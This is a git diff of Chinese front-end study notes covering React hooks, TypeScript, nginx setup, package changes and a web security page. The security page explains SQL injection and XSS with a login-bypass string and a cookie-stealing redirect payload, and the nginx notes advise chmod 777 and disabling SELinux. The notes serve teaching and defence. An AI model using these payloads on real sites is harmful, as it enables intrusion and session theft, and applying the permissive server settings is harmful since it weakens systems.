## 遇到性能问题,页面加载速度慢,如何解决?
通过使用工具(比如 Lighthouse进行性能分析找出性能瓶颈。
压缩和合并文件,减少 HTTP 请求。
使用懒加载技术,仅在需要时加载图片和其他资源。
优化图片大小和格式,以减小文件大小。
引入缓存机制,减少不必要的重复请求。
使用 CDN内容分发网络加速资源加载。
问题:在跨浏览器兼容性方面遇到了什么问题?
## 我在一个项目中经历了跨浏览器兼容性的挑战。解决方法包括:
使用 CSS 前缀来处理不同浏览器的样式。
使用特性检测feature detection而非浏览器检测以确保代码在不同浏览器中正常运行。
使用 Polyfills 填充 JavaScript 功能缺失。
定期检查并更新代码,以适应新版本的浏览器。
问题:遇到了一个难以调试的问题,是如何找到并解决的?
## 对于组件库开发的一些注意事项
1. 明确定义组件的用途和功能: 在开始开发之前,确保清晰地定义组件的用途和功能。考虑到组件库的可重用性,设计组件时应该尽量使其通用,同时提供足够的配置选项。
2. 选择开发工具: 选择适当的开发工具,例如构建工具(如 Webpack、Rollup、版本控制工具如 Git、代码编辑器等。这些工具能够提高开发效率并帮助你管理项目的复杂性。
3. 制定组件 API 定义清晰的组件 API包括组件的属性、方法、事件等。良好设计的 API 可以提高组件的易用性,并使用户更容易理解如何使用你的组件。
4. 组件的独立性: 确保组件是相互独立的,不依赖于外部环境的状态。这有助于提高组件的可移植性和可维护性。
5. 文档编写: 编写清晰、详细的文档包括组件的使用方法、配置选项、API 文档、示例代码等。文档是用户了解和使用组件的关键,因此需要投入足够的时间和精力。
6. 测试: 编写单元测试和集成测试,确保组件的稳定性和可靠性。测试有助于捕捉潜在的问题,减少 bug并提高代码质量。
7. 可定制性: 考虑组件的可定制性通过提供配置选项或插槽slot等机制使用户能够根据自己的需求调整组件的外观和行为。
8.主题化: 如果可能,考虑支持主题化,使用户能够轻松地更改组件的外观,以适应其应用的整体设计。
9. 版本管理: 使用语义化版本控制Semantic Versioning规范来管理组件库的版本以确保用户能够明确了解每个版本的变化。
10. 发布和分发: 配置发布流程,将组件库发布到合适的包管理器(如 npm。确保发布的组件库能够方便地被用户引入和使用。
11. 社区参与: 如果你希望你的组件库成为一个开放的社区项目,考虑设立一个开发者社区,接受用户的反馈、贡献和建议。
12. 持续维护: 组件库的维护是一个长期的过程。及时响应用户反馈,修复 bug保持文档的更新适应新的技术和标准。
## 参考文章
源码分析<https://react.iamkasong.com/#%E7%AB%A0%E8%8A%82%E8%AF%B4%E6%98%8E>

View File

@ -27,24 +27,32 @@ react 需要经历两个阶段:
16 以前的版本是将更新渲染直接入栈出栈队列执行diff 算法本质上是一种递归,递归无法中断,这种形式可能会由于 IO 堵塞从而导致页面卡顿丢帧。
而 fiber 架构有效的改良了这一点,使用的是一种循环机制,将整个任务渲染切片成无数个小任务,发放到每个细分的时间节点中执行,优先处理最紧急的任务,有效降低了卡顿的情况发生。
另外我们需要了解人眼的
另外我们需要了解人眼的视觉习惯,如下图所示
![image.png](./img/fiber.jpeg)
## hooks组件 相比较传统 class组件 的区别
## hooks 组件 相比较传统 class 组件 的区别
## 优点
### 优点
1. 解决了 HOC 的嵌套问题,扁平式状态逻辑更加简洁
2. 解决了类组件的 this 指向问题
3. 分割在不同生命周期的代码使得代码难以维护
4. 降低代码的复用成本,减少每个组件继承 react.component,大大提升性能
## 缺点
### 缺点
1. 额外的学习成本
2. 没有类组件的生命周期,也就没办法和 ComponentUpdate 一样获取组件上的新旧数据做比较(性能优化上就少了一环)
## 为什么 hooks 要放在最外层
函数式组件他们由于新的 fiber 架构的关系,有自己的一套执行顺序,会形成一个自己的链表结构,也就是所谓的 mountWorkingProgressstateHook -> memoHook -> refHook -> effectHook
如果将某个过程中的 hook 定义放在条件语句中,这个链表结构就会被破坏。
![image.png](./img/hooks.png)
## memo 和 PureComponent
理论上父组件状态更新但是传递给子组件的内容没更新子组件不应该重新渲染memo 和 PureComponent 都是为了减少父组件的刷新导致子组件的额外渲染,区别是 memo 针对的是函数组件PureComponent 针对的则是类组件。
@ -52,17 +60,13 @@ react 需要经历两个阶段:
```js
class Component extends React.PureComponent {
render() {
return (
<div>类组件</div>
)
return <div>类组件</div>;
}
}
const Component = React.memo(() => {
return (
<div>函数组件</div>
)
})
return <div>函数组件</div>;
});
```
## useMemo
@ -72,21 +76,21 @@ const Component = React.memo(() => {
一般是如果一个引用数据,会在多个 hook 里被使用,或者是需要以 props 的形式传递给子组件,则需要包裹。
```jsx
import React, { useMemo, useEffect, useState } from 'react'
import React, { useMemo, useEffect, useState } from 'react';
export default () => {
const [data1, setData1] = useState(1)
const [data2, setData2] = useState(1)
const [data1, setData1] = useState(1);
const [data2, setData2] = useState(1);
const memo1 = useMemo(() => {
console.log('执行memo')
return data1
}, [data1])
console.log('执行memo');
return data1;
}, [data1]);
const f2 = (() => {
console.log('执行f2')
return data2.toString()
})()
console.log('执行f2');
return data2.toString();
})();
return (
<div className="demo1">
@ -96,10 +100,85 @@ export default () => {
<button onClick={() => setData1(data1 + 1)}>f1按钮</button>
<button onClick={() => setData2(data2 + 1)}>F2按钮</button>
</div>
)
}
);
};
```
## useEffect 和 useLayoutEffect 的区别
主要区别:
1. useEffect 是执行在编译和渲染之后,在第二个渲染周期才会执行,而且属于异步操作
2. useLayoutEffect 则是执行在编译之后和渲染之前,可以在渲染之前就立刻进行样式的更改
实际使用场景有 tooltip 通过宽度,判断展示位置应该处于上方还是下方
他们之间的差异如果用代码展示效果,可以从下面的代码来看出区别(建议使用差网络效果更明显):
```jsx
import React, { useEffect, useLayoutEffect, useState, useRef } from 'react';
function BoxComparison() {
const [heightEffect, setHeightEffect] = useState(0);
const [heightLayoutEffect, setHeightLayoutEffect] = useState(0);
const refEffect = useRef(null);
const refLayoutEffect = useRef(null);
useEffect(() => {
if (refEffect.current) {
setHeightEffect(refEffect.current.offsetWidth);
}
}, []);
useLayoutEffect(() => {
if (refLayoutEffect.current) {
setHeightLayoutEffect(refLayoutEffect.current.offsetWidth);
}
}, []);
return (
<div>
<div>
<div
ref={refEffect}
style={{ width: '200px', height: '50px', background: 'lightgray' }}
>
使用 useEffect
</div>
<div
style={{
width: '100px',
height: `${heightEffect}px`,
background: 'red',
marginTop: '10px',
}}
>
红色方块
</div>
</div>
<div style={{ marginTop: '30px' }}>
<div
ref={refLayoutEffect}
style={{ width: '200px', height: '50px', background: 'lightgray' }}
>
使用 useLayoutEffect
</div>
<div
style={{
width: '100px',
height: `${heightLayoutEffect}px`,
background: 'blue',
marginTop: '10px',
}}
>
蓝色方块
</div>
</div>
</div>
);
}
export default BoxComparison;
```
## useCallback
@ -108,19 +187,19 @@ export default () => {
使用原则也和 useMemo 保持一致
```jsx
import React, { useEffect, useCallback, useState } from 'react'
import React, { useEffect, useCallback, useState } from 'react';
const Btn = React.memo((props) => {
const [txt1, setTxt1] = useState(0)
const [txt2, setTxt2] = useState(0)
const [txt1, setTxt1] = useState(0);
const [txt2, setTxt2] = useState(0);
useEffect(() => {
setTxt1(txt1 + 1)
},[props.fn1])
setTxt1(txt1 + 1);
}, [props.fn1]);
useEffect(() => {
setTxt2(txt2 + 1)
}, [props.fn2])
setTxt2(txt2 + 1);
}, [props.fn2]);
return (
<div>
@ -130,20 +209,20 @@ const Btn = React.memo((props) => {
<button onClick={() => props.fn1()}>按钮1</button>
<button onClick={() => props.fn2()}>按钮2</button>
</div>
)
})
);
});
export default () => {
const [data1, setData1] = useState(1)
const [data1, setData1] = useState(1);
const fn1 = useCallback(() => {
console.log('使用了回调缓存')
setData1(data1 + 1)
}, [])
console.log('使用了回调缓存');
setData1(data1 + 1);
}, []);
const fn2 = () => {
setData1(data1 + 1)
}
setData1(data1 + 1);
};
return (
<div className="demo1">
@ -152,25 +231,89 @@ export default () => {
<button onClick={fn1}>父级按钮</button>
<Btn fn1={fn1} fn2={fn2} />
</div>
)
);
};
```
## useContext 和 Provider
让开发者从多层嵌套中解脱出来,能实现跨层级数据共享
```jsx
import { createContext, useContext, useState } from 'react';
const ThemeContext = createContext(null);
const CurrentUserContext = createContext(null);
function Toolbar() {
return (
<div>
<LoginButton />
</div>
);
}
function LoginButton() {
const { currentUser, setCurrentUser } = useContext(CurrentUserContext);
if (currentUser !== null) {
return <p>You logged in as {currentUser.name}.</p>;
}
return (
<Button
onClick={() => {
setCurrentUser({ name: 'Advika' });
}}
>
Log in
</Button>
);
}
export default function MyApp() {
const [theme, setTheme] = useState('light');
const [currentUser, setCurrentUser] = useState(null);
return (
<ThemeContext.Provider value={theme}>
<CurrentUserContext.Provider
value={{
currentUser,
setCurrentUser,
}}
>
<Toolbar />
<button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>
Toggle Theme
</button>
</CurrentUserContext.Provider>
</ThemeContext.Provider>
);
}
```
## useRef 和 forwardRef 的使用
useRef 的几个应用场景:
1. 可以用来获取 dom
2. 保存状态值,在不触发组件渲染的数据计算中使用
forwardRef 是用来自己封装组件时,将组件的 ref 暴露出来
## lazy
懒加载组件,实现效果类似 webpack 的 code spliting。
```js
import React, { lazy, Suspense } from 'react'
import React, { lazy, Suspense } from 'react';
const Comp = lazy(() => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve(import(/*webpackChunkName:"OtherComponent"*/'./OtherComponent'))
}, 2000)
})
resolve(import(/*webpackChunkName:"OtherComponent"*/ './OtherComponent'));
}, 2000);
});
});
export default () => {
return (
@ -181,7 +324,7 @@ export default () => {
</Suspense>
</div>
);
}
};
```
> 拓展:懒渲染可以参考 **react-visibility-observer** ,在页面滚动到可视范围时才加载相应的内容
@ -218,7 +361,7 @@ export default () => {
1. 将要装载,在 render 之前调用;
2. 可以在服务端被调用,也可以在浏览器端被调用;
3. componentWillMount 每一个组件 render 之前立即调用;
4. 目前在17中已经遗弃了这个接口前缀为 UNSAFE_
4. 目前在 17 中已经遗弃了这个接口,前缀为 UNSAFE\_
### componentDidMount
@ -229,19 +372,16 @@ export default () => {
## 手写一个简单的 useState
```js
const [type, setType] = useState(1)
const [type, setType] = useState(1);
function useState(initData) {
let type = initData
let type = initData;
let setType = (val) => {
type = val
}
type = val;
};
return [
type,
setType
]
return [type, setType];
}
```
@ -254,3 +394,4 @@ redux 分为几个重要的概念1. store容器、2. state数据
## 参考文档
> https://juejin.cn/post/6844903922453200904
> <https://react.iamkasong.com/process/doubleBuffer.html#%E5%8F%8C%E7%BC%93%E5%AD%98fiber%E6%A0%91>

View File

@ -10,9 +10,7 @@ group:
# 安全
1. 引用 js 包(内容很少,也可以将内容拷贝出来,直接引用方法)
1. 将需要提交的数据经过 filter 即可,如下:
2. 将需要提交的数据经过 filter 即可,如下:
```javascript
浏览器自带转换为字符串
@ -25,178 +23,124 @@ var newValue = safetools.reEncode(value)
var newValue = safetools.reDecode(value)
```
> tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
## 在项目里关于前端安全,可以采取以下措施
使用 HTTPS 确保数据在传输过程中的安全性。
验证用户输入,防范 XSS 攻击,使用 CORS 控制跨域资源访问。
更新依赖库和框架,以修补已知的安全漏洞。
避免在前端存储敏感信息,如密码,而依赖后端处理。
定期审查和更新安全策略,以适应新的威胁和最佳实践。
## 常见的攻击手段
### 1. SQL 脚本注入攻击于与防御
#### 概念
> 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection即 SQL 注入.
#### 场景
语句
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果恶意填入:
> userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
既可实现无密码登录,美滋滋吧...
#### 处理方式
前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
### 2. XSS 攻击与防御
#### 概念
> 跨站脚本Cross-site scripting通常简称为XSS是一种网站应用程序的安全漏洞攻击是代码注入的一种。它允许恶意用户将代码注入到网页上其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。
> XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript但实际上也可以包括 JavaVBScriptActiveXFlash 或者甚至是普通的 HTML。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 cookie 等各种内容。
#### 类型
##### 简单分类
1. 反射型 xss
通过一次 xss 请求,将数据渲染到页面,请求 -> 返回数据,例子:搜索
2. 储存型xss
2. 储存型 xss
通过一次 xss 请求,直接将数据储存在数据库,下次调用无需继续请求,例如:评论
##### 复杂分类
1. client 型
1. server 型
2. server 型
#### 处理方式
- 编码
> 将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
- 过滤
> 有的语句并不完全依赖<>标签,例如 src="javascript:alert(1);"
- 校正
> 这个照理来说应该后端处理,目前没碰到这种场景
```javascript
> 一个直播平台,用户可以进入观看,主播可以设置自己的昵称:
var starNickName = '${starNickname}'
```
这怕是要翻水水了...假设是我是主播,我把昵称设置为:
```javascript
';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
```
这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了...观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。
- CSP
```html
在头部加入:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"
/>
```
meta不信任任何 URL即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用 HTTPS 协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
> 注意该属性目前比较新hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
### 3. CSRF
> 跨站请求伪造英语Cross-site request forgery也被称为 one-click attack 或者 session riding通常缩写为 CSRF 或者 XSRF 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本XSS相比XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
#### 处理方式
- 验证码
在请求的同时,带个 token,或者验证码
- Referer Check
这个可以伪造...但加入更保险
> 注意:如果网站有 XSS 漏洞或者一些跨域漏洞,可能导致 Token 泄露。 在 XSS 攻击下,读取 Token 值然后再构造出一个合法的请求可以称为XSRF。
### 小结
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。

View File

@ -18,27 +18,25 @@ interface 更偏向结构定义type更偏向数据之间的关系
1. 两者继承的方式不同
```js
interface App extends Module {
interface App extends Module {}
}
type App = Module & { name: string }
type App = Module & { name: string };
```
2. type 可以神秘基本数据类型、联合类型、元祖类型interface不能
2. type 可以声明基本数据类型、联合类型、元祖类型interface 不能
```js
type Name = string
type Name = string;
type Pet = Dog | Cat
type Pet = Dog | Cat;
type PetList = [Dog, Cat]
type PetList = [Dog, Cat];
```
3. type 可以使用 typeof 获取类型interface 不行
```js
const Name = 'nicenote'
const Name = 'nicenote';
type Iname = typeof Name
type Iname = typeof Name;
```

21
docs/interview/vite.md Normal file
View File

@ -0,0 +1,21 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
# 打包工具
## vite 和 webpack 的区别
webpack 把所有的依赖包都打包编译到一个文件夹中,它的特点有:
- bundlerall in one. 编译时间较长
viteno bundler. 新一代打包工具,基于 esbuild使用 go 编写),,所以速度上会有质的飞跃,它有以下特点:
编译速度快:直接引用 es 模块.
按需加载:只编译开发中的模块

View File

@ -17,11 +17,13 @@ group:
#### 确认网络
- ping [j710328466.github.io](j710328466.github.io)
#### 关闭 iptables 规则
- iptables -L 查看
- iptables -F 关闭
- iptables -t nat -L
#### 关闭 getenforce
- setenforce 0
@ -37,6 +39,9 @@ group:
```
### 安装编译工具和库
如果没有再安装
```js
// 1
wget [http://downloads.sourceforge.net/project/pcre/pcre/8.35/pcre-8.35.tar.gz](http://downloads.sourceforge.net/project/pcre/pcre/8.35/pcre-8.35.tar.gz)
@ -52,16 +57,30 @@ yum -y install make zlib zlib-devel gcc-c++ libtool  openssl openssl-devel
- yum -y update
### centos 快速安装
- yum install nginx -y
## 默认文件位置
```js
/etc/nginx/nginx.conf //yum方式安装后默认配置文件的路径
/usr/share/nginx/html //nginx网站默认存放目录
/usr/share/nginx/html/index.html //网站默认主页路径
```
## 常用命令
### 查看 nginx 配置文件路径和安装路径
> nginx -t
### 开始
systemctl start nginx
方法 1. systemctl start nginx
方法 2. systemctl enable --now nginx
### 重启
@ -73,10 +92,9 @@ systemctl start nginx
> killall -9 nginx
### 初始目录
> /usr/share/nginx/html
### 配置文件
```
@ -185,6 +203,7 @@ http {
## Q&A
### 1. forbedden 403
> chmod -R 777 /data
> chmod -R 777 /data/www
@ -195,5 +214,3 @@ vi /etc/selinux/config
#SELINUX=enforcing
SELINUX=disabled
```

20773
package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

View File

@ -1,67 +1,38 @@
{
"private": true,
"name": "learn-note",
"version": "1.0.0",
"name": "nicenote",
"version": "0.0.1",
"description": "nicenote,nicecode,学习,总结",
"license": "MIT",
"scripts": {
"start": "dumi dev",
"docs:build": "dumi build",
"docs:deploy": "gh-pages -d docs-dist",
"build": "father-build",
"deploy": "npm run docs:build && npm run docs:deploy",
"release": "npm run build && npm publish",
"prettier": "prettier --write \"**/*.{js,jsx,tsx,ts,less,md,json}\"",
"test": "umi-test",
"test:coverage": "umi-test --coverage",
"cz": "git add . && git cz",
"log": "conventional-changelog -n node_modules/@nicecode/changelog -i CHANGELOG.md -s -r 0"
"build": "dumi build",
"deploy": "gh-pages -d docs-dist",
"dev": "dumi dev",
"prepare": "husky install && dumi setup",
"start": "npm run dev"
},
"main": "dist/index.js",
"module": "dist/index.esm.js",
"typings": "dist/index.d.ts",
"husky": {
"hooks": {
"pre-commit": "lint-staged",
"commit-msg": "commitlint -E HUSKY_GIT_PARAMS"
}
},
"config": {
"commitizen": {
"path": "@nicecode/commit"
}
},
"lint-staged": {
"*.{js,jsx,less,md,json}": [
"prettier --write"
],
"*.ts?(x)": [
"prettier --parser=typescript --write"
"commitlint": {
"extends": [
"@commitlint/config-conventional"
]
},
"repository": {
"type": "git",
"url": "https://github.com/j710328466/j710328466.github.io",
"branch": "master",
"platform": "github"
"lint-staged": {
"*.{md,json}": [
"prettier --write --no-error-on-unmatched-pattern"
]
},
"dependencies": {
"@nicecode/css": "^0.0.8",
"n": "^9.0.1",
"react": "^16.12.0"
"three": "^0.158.0"
},
"devDependencies": {
"@nicecode/changelog": "^0.2.0",
"@nicecode/commit": "^0.0.12",
"@nicecode/commit-lint": "^0.1.2",
"@umijs/test": "^3.0.5",
"commitizen": "^4.2.4",
"commitlint": "^13.1.0",
"conventional-changelog-cli": "^2.1.1",
"dumi": "^1.0.16",
"father-build": "^1.17.2",
"gh-pages": "^3.0.0",
"husky": "^7.0.4",
"lint-staged": "^10.0.7",
"prettier": "^2.2.1",
"yorkie": "^2.0.0"
}
"@commitlint/cli": "^17.1.2",
"@commitlint/config-conventional": "^17.1.0",
"dumi": "^2.2.13",
"gh-pages": "^6.1.1",
"husky": "^8.0.1",
"lint-staged": "^13.0.3",
"prettier": "^2.7.1"
},
"authors": [
"71032866@qq.com"
]
}

File diff suppressed because it is too large Load Diff

View File

@ -1,94 +0,0 @@
import React, { useRef, useEffect } from 'react';
export default () => {
const clockRef = useRef()
function clock() {
var theCanv = clockRef.current;
var theCanvObject = theCanv.getContext('2d');
var x = 200;
var y = 200;
startTime();
function startTime() {
//
theCanvObject.lineWidth = 1;
for (var i = 0; i < 60; i++) {
drawArc(150, i*6, (i+1)*6);
}
drawArc(145, 0, 360, true);
//
theCanvObject.lineWidth = 2;
for (var i = 0; i < 12; i++) {
drawArc(150, i*30, (i+1)*30);
}
drawArc(140, 0, 360, true);
//
drawHand(getTime().hour,5,60,'#ECFC00');
drawHand(getTime().min,4,100,'#00BB3F');
drawHand(getTime().sec,3,130,'#D60062');
setInterval(function () {
drawArc(135,0,360,true);
drawHand(getTime().hour,5,60,'#ECFC00');
drawHand(getTime().min,4,100,'#00BB3F');
drawHand(getTime().sec,3,130,'#D60062');
},1000);
}
function drawArc(iRadius, iBeginAngle, iEndAngle, ifClear) {
var beginRadian = iBeginAngle*Math.PI/180;
var endRadian = iEndAngle*Math.PI/180;
theCanvObject.beginPath(); //
theCanvObject.moveTo(x, y); //xy
theCanvObject.arc(x, y, iRadius, beginRadian, endRadian, false);
//
!ifClear && theCanvObject.stroke();
if (ifClear) {
theCanvObject.fillStyle = 'white';
theCanvObject.fill();
}
}
function drawHand(iAngle, iWidth, iLength, iColor) {
theCanvObject.save(); //canvas
theCanvObject.lineWidth = iWidth;
theCanvObject.strokeStyle = iColor;
drawArc(iLength, iAngle, iAngle);
theCanvObject.restore(); //
}
//
function getTime() {
var jTime = {};
var iNow = new Date();
jTime.sec = -90 + iNow.getSeconds()*6;
jTime.min = -90 + iNow.getMinutes()*6 + iNow.getSeconds()/20;
jTime.hour = -90 + iNow.getHours()*30 + iNow.getMinutes()/2;
return jTime;
}
}
useEffect(() => {
clock()
}, [])
return (
<div>
<canvas ref={clockRef} width="600" height="600" />
</div>
)
}

View File

@ -1,110 +0,0 @@
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
function init() {
var c = canvasRef.current,
$ = c.getContext('2d'),
w = c.width = window.innerWidth / 2,
h = c.height = window.innerHeight / 2,
particles = []
/**
* 随机获取颜色
*
* @returns rgb(x,x,x)
*/
function randomColor() {
var r = 100 + Math.floor(Math.random() * 255),
g = Math.floor(Math.random() * 150),
b = Math.floor(Math.random() * 15)
return 'rgb(' + r + ',' + g + ',' + b + ')'
}
function particle() {
this.location = {
x: w / 2,
y: h / 2
}
this.speed = {
x: -1.5 + Math.random() * 3,
y: 1 + Math.random() * 5.5
}
this.life = 50
this.radius = 1 + Math.floor(Math.random() * 25)
this.color = randomColor()
this.opacity = 1
this.dead = false
this.draw = function () {
$.globalCompositeOperation = 'lighter'
$.fillStyle = this.color
$.beginPath()
$.arc(this.location.x, this.location.y, this.radius, 0, Math.PI * 2)
$.globalAlpha = this.opacity
$.fill()
$.closePath()
}
this.update = function () {
if (this.location.x < 0 || this.life == 0 || this.opacity === 0 || this.radius < 1) {
this.dead = true
}
if (!this.dead) {
this.location.x += this.speed.x
this.location.y -= this.speed.y
this.life--
this.opacity -= 0.05
this.radius--
}
}
}
//
function stage() {
$.globalCompositeOperation = 'source-over'
$.fillStyle = 'rgba(0, 0, 0, 1)'
$.fillRect(0, 0, w, h)
}
//
function reset() {
w = c.width = window.innerWidth / 2
h = c.height = window.innerHeight / 2
}
function loop() {
stage()
var L = particles.length
if (L < 100) {
particles.push(new particle())
}
for (var i = 0; i < L; i++) {
var p = particles[i]
p.draw()
p.update()
if (p.dead) {
particles[i] = new particle()
}
}
requestAnimationFrame(loop)
}
function _init() {
reset()
loop()
}
window.addEventListener('resize', reset)
_init()
}
useEffect(() => {
init()
}, [])
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 166 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 150 KiB

View File

@ -1,118 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
const img1 = require('./img/clipImg1.jpg')
const img2 = require('./img/clipImg2.jpg')
export default () => {
const canvasRef = useRef()
const clipImgs1Ref = useRef()
const clipImgs2Ref = useRef()
function clipPathMaskRender() {
const NUM_CIRCLES = 60
const MIN_SIZE = 50
const MAX_SIZE = 100
function getRndInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min
}
var c = canvasRef && canvasRef.current
var ctx = c.getContext('2d')
var clipImg1 = clipImgs1Ref && clipImgs1Ref.current
var clipImg2 = clipImgs2Ref && clipImgs2Ref.current
var t
class Circle {
constructor() {
this.x = 0
this.y = 0
this.size = 0
this._needsRandomized = false
}
randomize () {
this.x = getRndInt(50, c.width - 50)
this.y = getRndInt(50, c.height - 50)
this.maxSize = getRndInt(MIN_SIZE, MAX_SIZE)
}
//
update (t, ofs) {
// abs
this.size = Math.abs(Math.round(Math.sin(t + ofs) * this.maxSize))
if (this.size < 2) {
if (this._needsRandomized) {
this.randomize()
this._needsRandomized = false
}
}
}
//
draw () {
ctx.moveTo(this.x, this.y)
ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI)
}
}
var circles =[]
for (let i = 0; i < NUM_CIRCLES; i++) {
var circle = new Circle()
circle.randomize()
circles.push(circle)
}
function update() {
t = 0.001 * Date.now()
circles.forEach((circle, idx) => {
circle.update(t, idx)
})
}
async function render() {
await ctx.drawImage(clipImg1, 0, 0)
await ctx.save()
await ctx.beginPath()
circles.forEach(function(circle) {
circle.draw()
})
ctx.closePath()
ctx.clip()
ctx.drawImage(clipImg2, 0, 0)
ctx.restore()
}
function loop() {
requestAnimationFrame(loop)
update()
render()
}
loop()
}
useEffect(() => {
clipPathMaskRender()
}, [])
return (
<div className="clipPathMask demo">
<div className="wrap">
<h1 className="wrap_tit">Nice Note</h1>
<canvas ref={canvasRef} className="wrap_canvas" width="500px" height="500px"></canvas>
</div>
<div id="clipImgs">
<img ref={clipImgs1Ref} id="clipImgs_1" crossOrigin="anonymous" src={img1} />
<img ref={clipImgs2Ref} id="clipImgs_2" crossOrigin="anonymous" src={img2} />
</div>
</div>
)
}

View File

@ -1,18 +0,0 @@
.clipPathMask {
text-align: center;
height: 80vh;
color: #fff;
background: teal linear-gradient(transparent, #ff0099);
.wrap {
&_tit {
padding: 10px 0;
font-size: 30px;
}
&_canvas {
border: 1px solid yellow;
}
}
#clipImgs {
display: none;
}
}

View File

@ -1,98 +0,0 @@
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
function init() {
const theCanvas = canvasRef.current,
ctx = theCanvas.getContext('2d'),
current_point = {
x: null, //x
y: null, //y
max: 20000,
};
let canvas_width = theCanvas.width,
canvas_height = theCanvas.height,
random_points = [],
all_points = [];
// theCanvas.style = "position: absolute; top: 0px; left: 0px;";
function draw() {
//
ctx.clearRect(0, 0, canvas_width, canvas_height);
let i,pi,x_dist,y_dist,dist,w;
//线线
random_points.forEach((p, index) => {
p.x += p.xa, //
p.y += p.ya,
//
p.xa *= p.x > canvas_width || p.x < 0 ? -1 : 1,
p.ya *= p.y > canvas_height || p.y < 0 ? -1 : 1,
ctx.fillRect(p.x - 0.5, p.y - 0.5, 1, 1); //
for(i = index + 1; i < all_points.length; i++ ) {
pi = all_points[i];
if(pi.x !== null && pi.y !== null) {
x_dist = p.x - pi.x;
y_dist = p.y - pi.y;
dist = x_dist * x_dist + y_dist * y_dist;
//线
dist < pi.max && (pi === current_point && dist >= pi.max / 2 && (p.x -= 0.03 * x_dist, p.y -= 0.03 * y_dist));
//线使
w = (pi.max - dist) / pi.max;
ctx.beginPath();
ctx.lineWidth = w / 2;
ctx.strokeStyle = `rgba(110,110,110,${w + 0.2})`;
ctx.moveTo(p.x, p.y);
ctx.lineTo(pi.x, pi.y);
ctx.stroke();
}
}
}),requestAnimationFrame(draw);
}
//
window.onmousemove = e => {
e = e || window.event;
current_point.x = e.clientX;
current_point.y = e.clientY;
};
window.onmouseout = () => {
current_point.x = null;
current_point.y = null;
};
//100
for(let i = 0; i < 100; i++ ) {
let x = Math.random() * canvas_width, //
y = Math.random() * canvas_height,
xa = 2 * Math.random() - 1, //x
ya = 2 * Math.random() - 1, //y
max = 6000; //线
random_points[i] = {x, y, xa, ya, max};
}
//
all_points = [...random_points,current_point];
//-
setTimeout(draw, 100);
}
useEffect(() => {
init()
}, [])
return (
<div style={{ position: 'relative' }}>
<canvas ref={canvasRef} width="500px" height="300px"></canvas>
</div>
)
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

View File

@ -1,214 +0,0 @@
import React, { useRef, useEffect } from 'react';
import img1 from './imgs/1.jpg'
import img2 from './imgs/2.jpg'
import img3 from './imgs/3.jpg'
const imgs = [img1, img2, img3]
class Particale {
constructor(opt) {
this.warp = opt.warp; //
this.ctx = opt.warp && opt.warp.getContext('2d');
this.imgsUrl = opt.imgsUrl; //
this.imgsObj = []; //
this.radius = opt.radius || 10; //
this.index = 0; //
this.initz = 300;
this.dots = [];
this.init();
}
init() {
//
if (this.warp.width > 500 || this.warp.height > 300)
this.radius >= 4 ? this.radius = this.radius : this.radius = 4;
else
this.radius >= 2 ? this.radius = this.radius : this.radius = 2;
let promiseArr = this.imgsUrl.map(imgUrl => {
return new Promise((resolve, reject) => {
var imgObj = new Image();
imgObj.onload = () => {
this.imgsObj.push(imgObj);
resolve();
};
imgObj.src = imgUrl;
});
});
//
Promise.all(promiseArr).then(() => {
this.picLoop();
});
}
picLoop() {
this.dots = [];
this.drawPic(); //
this.toParticle(); //
this.combineAnimate(); //
this.index === this.imgsUrl.length-1 ? this.index = 0 : this.index++; //
}
drawPic() {
//
